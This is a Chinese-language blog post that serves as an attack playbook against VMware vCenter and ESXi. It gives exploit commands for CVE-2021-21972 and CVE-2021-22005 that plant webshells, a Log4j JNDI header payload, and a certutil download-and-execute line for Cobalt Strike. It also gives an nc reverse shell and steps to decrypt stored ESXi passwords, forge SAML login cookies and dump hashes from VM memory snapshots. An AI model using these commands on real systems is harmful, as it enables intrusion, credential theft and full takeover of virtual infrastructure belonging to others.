前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Vcenter利用方式总结

Vcenter利用方式总结

原创
作者头像
hyyrent
发布于 2022-12-26 11:50:56
发布于 2022-12-26 11:50:56
1.4K00
代码可运行
举报
文章被收录于专栏:安全学习记录安全学习记录
运行总次数:0
代码可运行

指纹特征

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
title="+ ID_VC_Welcome +"

查看Vcenter版本

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/sdk/vimServiceVersions.xml

CVE-2021-21972

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/ui/vropspluginui/rest/services/uploadova

访问上面的路径,如果404,则代表不存在漏洞,如果405 则代表存在漏洞

windows机器:

漏洞利用: https://github.com/horizon3ai/CVE-2021-21972

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
python CVE-2021-21972.py -t x.x.x.x -p ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\gsl.jsp -o win -f gsl.jsp

-t (目标地址)
-f (上传的文件)
-p (上传后的webshell路径,默认不用改)

上传后的路径为

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
https://x.x.x.x/statsreport/gsl.jsp

完整路径为

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
C:/ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport

Linux机器:

1、写公私钥(需要22端口开放)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
python3 CVE-2021-21972.py -t x.x.x.x -p /home/vsphere-ui/.ssh/authorized_keys -o unix -f id_rsa_2048.pub

2、遍历写shell(时间较久)

https://github.com/NS-Sp4ce/CVE-2021-21972

CVE-2021-22005

影响范围

  • vCenter Server 7.0 < 7.0 U2c build-18356314
  • vCenter Server 6.7 < 6.7 U3o build-18485166
  • Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3)
  • Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2)
  • 6.7 vCenters Windows版本不受影响

漏洞利用:

https://github.com/r0ckysec/CVE-2021-22005

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cve-2021-22005_exp_win.exe -u https://x.x.x.x --shell

https://github.com/rwincey/CVE-2021-22005/blob/main/CVE-2021-22005.py

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
python cve-2021-22005.py -t https://x.x.x.x

连接webshell

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
https://x.x.x.x/idm/..;/test.jsp

上传后的webshell完整路径为

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/xx.jsp

CVE-2021-44228

利用log4j漏洞,漏洞触发点为XFF头部

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: 192.168.121.137
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Dnt: 1
X-Forwarded-For: ${jndi:ldap://9qphlt.dnslog.cn}
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close

DNSlog探测漏洞是否存在

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
X-Forwarded-For: ${jndi:ldap://9qphlt.dnslog.cn}

使用 JNDIExploit 工具,-u 查看可执行命令

漏洞利用:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i VPSIP
X-Forwarded-For: ${jndi:ldap://VPSIP:1389/TomcatBypass/TomcatEcho}
cmd:

cs上线

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: 192.168.121.142
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Dnt: 1
cmd: certutil -urlcache -split -f http://VPS C:\Users\Public\1.exe && C:\Users\Public\1.exe
X-Forwarded-For: ${jndi:ldap://VPS:1389/TomcatBypass/TomcatEcho}
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close

Linux使用反弹shell命令

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
nc -e /bin/sh 10.10.10.10 8888
nc -lvp 8888

弹回来若是非交互式shell没有回显,使用以下命令切换为交互式

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
python3 -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'

获取vcenter-web控制台权限

重置密码

比较快的一种方法,但是修改之后无法获取原来的密码,管理员会发现密码被改

选择 3 选项,输入默认 administrator@vsphere.local (需要管理员权限)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#Linux 
/usr/lib/vmware-vmdir/bin/vdcadmintool 

#Windows 
C:\Program Files\Vmware\vCenter Server\vmdird\vdcadmintool.exe
cookie登录

通过解密数据库登录获取cookie,再用cookie登录web

解密脚本:https://github.com/horizon3ai/vcenter_saml_login

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
python vcenter_saml_login.py -p data.mdb -t 10.9.16.11 

然后会生成相应的cookie,访问 ui 路径进行 cookie 替换即可

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#Linux
/storage/db/vmware-vmdir/data.mdb

#windows
C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb

使用小饼干替换cookie,成功登录

windows运行脚本需要安装对应版本的python-ldap

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
https://www.lfd.uci.edu/~gohlke/pythonlibs/#python-ldap1
pip install python_ldap-3.4.0-cp38-cp38-win_amd64.whl
pip install -r requirements.txt

实际测试过程中发现windows的data.mdb文件过大,拉回来不是那么方便,适合Linux机器

这时候如果目标机器上装有python环境,可使用3gstudent师傅的脚本进行利用

https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_ExtraCertFromMdb.py

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
python vCenter_ExtraCertFromMdb.py data.mdb

运行脚本会生成三段证书文件,放置到相应的位置

https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_GenerateLoginCookie.py

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
python vCenter_GenerateLoginCookie.py 192.168.121.135 192.168.121.135 vsphere.local idp_cert.txt trusted_cert_1.txt trusted_cert_2.txt
不重置获取密码(ESXI)

查看域

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#Linux
/usr/lib/vmware-vmafd/bin/vmafd-cli get-domain-name --server-name localhost

#windows
C:\Program Files\VMware\vCenter Server\vmafdd\vmafd-cli get-domain-name --server-name localhost
C:\PROGRA~1\VMware\"vCenter Server"\vmafdd\vmafd-cli get-domain-name --server-name localhost

坑点:由于路径中间存在空格,导致识别不了

解决方法:使用双引号对含有空格的路径进行单独处理

1、获取解密key
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#Windows
type C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat

#Linux
cat /etc/vmware-vpx/ssl/symkey.dat
2、获取数据库账号密码

vcenter默认数据库文件存放在vcdb.properties,配置文件中有数据库的明文账号密码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#Linux
cat /etc/vmware-vpx/vcdb.properties
cat /etc/vmware/service-state/vpxd/vcdb.properties

#Windows
type C:\ProgramData\VMware\"VMware VirtualCenter"\vcdb.properties
type C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties

默认是postgresql数据库,只能在vCenter服务器本地登录,执行语句查询ESXI的密码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#psql默认存放位置
Windows: C:\Program Files\VMware\vCenter Server\vPostgres\bin\psql.exe
Linux: /opt/vmware/vpostgres/9.3/bin/psql

#执行语句查询
psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc

#执行完会输出一段加密字段
Command> shell psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc
Shell access is granted to root
Password for user vc: 
ip_address  | user_name |                                         password                                      
-------------+-----------+---------------------------------------------------------------------------------------
192.168.1.1 | vpxuser   | *H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==
192.168.1.2 | vpxuser   | *zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==
192.168.1.3 | vpxuser   | *Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==
192.168.1.4 | vpxuser   | *R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA==
(4 rows)

#只保留password字段
*H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==
*zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==
*Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==
*R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA==

在实际情况中也碰到使用 MSSQL 数据库的情况,这时候直接使用 navicat 进行连接,搜索 VPX_HOST

3、使用脚本解密

https://github.com/shmilylty/vhost_password_decrypt

  • password字段放到password.enc里面
  • symkey.dat为第一步获取的解密key
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
python decrypt.py symkey.dat password.enc password.txt

执行脚本后,会输出一个password.txt,里面存放着对应 ip_address 的 ESXI 机器密码

4、登录ESXI

在 ESXI 机器地址后面添加 /ui ,访问web控制台,账密为 vpxuser/password.txt里的密码

解密出来的密码除了可以登录web控制台以外还可以ssh登录机器,不过需要服务里开启 SSH 安全shell

获取虚拟机权限

登录web控制台后,想要获取某个虚拟机的权限,比如说目标系统为靶标

选择目标虚拟机,操作生成快照

数据存储位置找到相应的快照文件

也可以通过 ssh 登录ESXI服务器上,通过 find 找出相应的 vmemvmsn 文件拷贝到本地

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
find / -name "*.vmem"

https://www.volatilityfoundation.org/releases

使用 volatility 工具查看 profile

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem imageinfo

读取注册表

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem --profile=Win7SP1x64 hivelist

获取hash并解出密码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a00084c010

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Git示例教程 - 同步本地分支的添加删除状态到远程(或反之)
为了方便测试,我们先在GitHub上创建一个名为git-test-repo的仓库,然后将其克隆到本地,之后,我们再用相应的命令创建一个测试分支,并将其同步到远端,具体命令如下:
KINGYT
2019/10/31
1.3K0
Git示例教程 - 创建本地分支及远程分支
为了方便测试,我们先在GitHub上创建一个名为git-test-repo的仓库,然后将其克隆到本地,并看下其当前的分支情况:
KINGYT
2019/10/28
9880
Git示例教程 - 创建本地分支及远程分支
Git - 入门到熟悉_分支管理
文章目录 Pre 常用命令 为什么需要分支 查看分支信息 创建分支 基于当前分支,创建一个新分支 基于远程分支,创建一个新分支 基于一个提交,创建一个新分支 基于Tag ,创建一个新分支 删除分支 git branch -d 切换分支 git checkout ---- Pre Git - 入门到熟悉_Git基本概念与核心命令 接下来,我们聊一聊Git的分支管理 ---- 常用命令 #查看当前分支 git branch [-avv] #基于当前分支新建分支 git branch <branch na
小小工匠
2022/09/22
5380
Git - 入门到熟悉_分支管理
【Git】Git 分支管理 ( 删除远程分支 | 查看远程分支 git branch -a | 删除远程分支 git push origin --delete feature1 )
remotes/origin/feature1 和 remotes/origin/6- 就是远程分支 , 下面开始删除这两个远程分支 ;
韩曙亮
2023/03/30
9310
【Git】Git 分支管理 ( 删除远程分支 | 查看远程分支 git branch -a | 删除远程分支 git push origin --delete feature1 )
git 查看远程分支、本地分支、创建分支、把分支推到远程repository、删除本地分支
shuohailhl@SHUOHAILHL-PC /f/ggg/jingwei (test)
用户8983410
2021/09/22
1.2K0
4. Git 分支操作和远程协作
Git 鼓励开发者频繁使用分支,正是因为有着这些特性作保障。Git 是如何知道你当前在哪个分支上工作的呢?其实答案也很简单,它保存着一个名为 HEAD 的特别指针。(译注:将 HEAD 想象为当前分支的别名。)
acc8226
2022/05/17
8530
Gerrit上分支操作记录(创建分支、删除分支)
Git分支对于一个项目的代码管理而言,是十分重要的!许多久用git的朋友可能已经掌握的很牢固了,但对于一些初涉git的童鞋来说,可能还不是很熟悉。 在此,我将自己的一些操作经历做一梳理,希望能帮助到有用到的朋友们。 gerrit分支操作常用的命令可以参考:http://www.cnblogs.com/kevingrace/p/5690820.html 1)首先,利用gitlab进行创建分支 登陆gitlab,创建组test,在这个组上创建工程apptest,然后让这个工程里添加内容 注意:在添加内容的使用,
洗尽了浮华
2018/01/22
6.6K0
Gerrit上分支操作记录(创建分支、删除分支)
Git-查看远程分支、本地分支、创建分支 转
PS:作用是checkout远程的Release分支,在本地起名为myRelease分支,并切换到本地的myRelase分支
双面人
2019/05/21
2.4K0
Git 系列教程(14)- 远程分支
你可以通过 git ls-remote <remote> 来显式地获得远程引用的完整列表
小菠萝测试笔记
2021/06/01
4550
Git 系列教程(14)- 远程分支
Git Cheat 2
整理一下经常忘记的Git命令 (版本v2) http://www.ruanyifeng.com/blog/2015/12/git-cheat-sheet.html?utm_source=tool.lu
happy123.me
2018/06/04
5610
Git日常操作命令梳理
在日常的Git版本库管理工作中用到了很多操作命令,以下做一梳理: 查看分支列表,带有*的分支表示是当前所在分支 [root@115~~]#git branch 查看分支详细情况 (推荐这种方式) [root@115~~]#git branch -av 创建分支(比如devlop): [root@115~~]#git branch devlop 切换已有分支 [root@115~~]#git checkout devlop 创建并切换分支(比如opstest): [root@115~~]#git ch
洗尽了浮华
2018/01/22
1.1K0
Git日常操作命令梳理
Git常用命令实践总结
注:本地可以有多个分支,远程也可以有多个分支,本地多个分支可以关联远程多个分支,但是,本地分支最好与远程分支同名,以免出现问题。
Tyan
2019/05/25
4670
git 远程分支
查看远程分支 现在我们已经有一些和远程分支打交道的经验了,比如曾经使用了git push和git pull。 怎么查看远程分支呢? 使用git branch可以查看本地的分支,-v选项可以显示更多的信息,-vv选项可以查看更详细的信息: $ git branch * master $ git branch -v * master 11f0f7a [ahead 8] merge iss1 $ git branch -vv * master 11f0f7a [origin/master: ahead 8] me
mwangblog
2018/07/04
6980
Gerrit日常操作命令收集
Gerrit代码审核工具是个好东西,尤其是在和Gitlab和Jenkins对接后,在代码控制方面有着无与伦比的优势。 在公司线上部署了一套Gerrit系统,在日常运维中,使用了很多gerrit命令,在此收集下: 一、创建和销毁 (1)分支列表: $: git branch * master prepub product (2)创建分支: $: git branch prepub (3)切换已有分支: $: git checkout prepub Switched to branch 'prepub'
洗尽了浮华
2018/01/22
2K0
Gerrit日常操作命令收集
git提交本地分支到远程分支 转
检出仓库:$ git clone git://github.com/jquery/jquery.git
双面人
2019/04/10
3.8K0
git使用教程12-创建分支,切换分支,删除分支
如果本地有个分支不想要了,如何删除?远程仓库的分支不想要了,如何删除? git仓库经常会用到分支管理代码,本篇讲下git创建分支和删除分支相关的操作。
上海-悠悠
2021/01/18
2K0
解决git远程分支已经删除本地还存在的办法
最近因为公司项目的需要在研究学习git,碰到个问题,我将远程分支直接删除了,在本地并有删除于是我用 git branch -a 还可以可以看到远程存在此分支。
PHP学习网
2022/08/03
3K0
git从远程分支拉取代码_git更新分支下的代码
git checkout -b 本地分支名 origin/远程分支名 使用上面的命令可以创建分支名并且关联到远程的分支,但是远程分支存在git push多次,发现关联分支的本地代码不是最新的,只需要在git pull 后面添加origin master 就能获取最新代码。
全栈程序员站长
2022/11/08
2.3K0
git从远程分支拉取代码_git更新分支下的代码
git 查看远程分支、本地分支、创建分支、把分支推到远程repository、删除本地分支
6.删除远程分支,如我有个分支为test $ git push origin :test
麦克劳林
2018/09/11
1.8K0
git的分支远程连接和远程分支的拉取推送及冲突处理
添加一个新功能时,你肯定不希望因为一些实验性质的代码,把主分支搞乱了,所以,每添加一个新功能,最好新建一个feature分支,在上面开发,完成后,合并,最后,删除该feature分支。
不会飞的小鸟
2020/07/22
2.5K0
推荐阅读
相关推荐
Git示例教程 - 同步本地分支的添加删除状态到远程(或反之)
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验